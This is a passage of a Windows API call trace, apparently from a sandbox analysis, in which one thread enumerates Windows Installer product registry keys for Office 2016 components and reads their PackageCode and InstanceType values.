StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.683] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.683] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.683] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.683] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\000061092E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.683] GetCurrentThreadId () returned 0xf50 [0068.683] GetCurrentThreadId () returned 0xf50 [0068.683] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.684] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.684] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.684] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.684] LocalFree (hMem=0x32f770) returned 0x0 [0068.684] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.684] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.684] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\000061092E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.684] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.684] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.684] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061092E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.684] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="EBA4B19F38900D94A82168E0AD2F207D", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.684] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.684] lstrlenW (lpString="{90160000-00E2-0409-0000-0000000FF1CE}") returned 38 [0068.684] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.684] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.684] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.684] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061092E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.685] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.685] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.685] lstrlenW (lpString="0") returned 1 [0068.685] lstrlenW (lpString="0") returned 1 [0068.685] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.685] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{F91B4ABE-0983-49D0-8A12-860EDAF202D7}") returned -1 [0068.685] GetCurrentThreadId () returned 0xf50 [0068.685] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.685] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x5, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109440090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.685] GetCurrentThreadId () returned 0xf50 [0068.685] GetCurrentThreadId () returned 0xf50 [0068.685] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.685] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.686] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.686] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.686] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.686] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.686] GetCurrentThreadId () returned 0xf50 [0068.686] GetCurrentThreadId () returned 0xf50 [0068.686] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.686] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.686] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.686] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.686] LocalFree (hMem=0x32f770) returned 0x0 [0068.686] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.686] GetCurrentThreadId () returned 0xf50 [0068.686] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.686] lstrlenW (lpString="{90160000-0044-0409-0000-0000000FF1CE}") returned 38 [0068.686] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.687] GetCurrentThreadId () returned 0xf50 [0068.687] GetCurrentThreadId () returned 0xf50 [0068.687] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.687] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.687] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.687] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.687] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.687] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.687] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.687] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109440090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.687] GetCurrentThreadId () returned 0xf50 [0068.687] GetCurrentThreadId () returned 0xf50 [0068.687] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.687] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.687] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.687] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.688] LocalFree (hMem=0x32f770) returned 0x0 [0068.688] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.688] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.688] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109440090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.688] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.688] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.688] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109440090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.688] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="656DBB68FD9306849A653ADEEC2DA8AA", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.688] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.688] lstrlenW (lpString="{90160000-0044-0409-0000-0000000FF1CE}") returned 38 [0068.688] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.688] lstrlenW (lpString="00006109440090400000000000F01FEC") returned 32 [0068.688] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.688] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109440090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.688] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.688] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.689] lstrlenW (lpString="0") returned 1 [0068.689] lstrlenW (lpString="0") returned 1 [0068.689] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.689] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{86BBD656-39DF-4860-A956-A3EDCED28AAA}") returned 1 [0068.689] GetCurrentThreadId () returned 0xf50 [0068.689] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.689] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x6, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109510090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.689] GetCurrentThreadId () returned 0xf50 [0068.689] GetCurrentThreadId () returned 0xf50 [0068.689] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.689] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.689] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.689] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.689] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.690] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.690] GetCurrentThreadId () returned 0xf50 [0068.690] GetCurrentThreadId () returned 0xf50 [0068.690] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.690] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.690] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.690] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.690] LocalFree (hMem=0x32f770) returned 0x0 [0068.690] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.690] GetCurrentThreadId () returned 0xf50 [0068.690] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.690] lstrlenW (lpString="{90160000-0015-0409-0000-0000000FF1CE}") returned 38 [0068.690] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.690] GetCurrentThreadId () returned 0xf50 [0068.690] GetCurrentThreadId () returned 0xf50 [0068.690] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.691] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.691] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.691] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.691] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.691] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.691] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.691] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109510090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.691] GetCurrentThreadId () returned 0xf50 [0068.691] GetCurrentThreadId () returned 0xf50 [0068.691] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.691] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.691] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.691] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.691] LocalFree (hMem=0x32f770) returned 0x0 [0068.691] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.691] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.691] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109510090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.692] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.692] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.692] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109510090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.692] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="BFC4088371738DD42AAF72237842DC34", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.692] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.692] lstrlenW (lpString="{90160000-0015-0409-0000-0000000FF1CE}") returned 38 [0068.692] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.692] lstrlenW (lpString="00006109510090400000000000F01FEC") returned 32 [0068.692] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.692] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109510090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.692] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.692] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.692] lstrlenW (lpString="0") returned 1 [0068.692] lstrlenW (lpString="0") returned 1 [0068.692] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.693] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{38804CFB-3717-4DD8-A2FA-27328724CD43}") returned 1 [0068.693] GetCurrentThreadId () returned 0xf50 [0068.693] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.693] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x7, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109511090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.693] GetCurrentThreadId () returned 0xf50 [0068.693] GetCurrentThreadId () returned 0xf50 [0068.693] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.693] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.693] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.693] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.693] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.693] RegOpenKeyExW 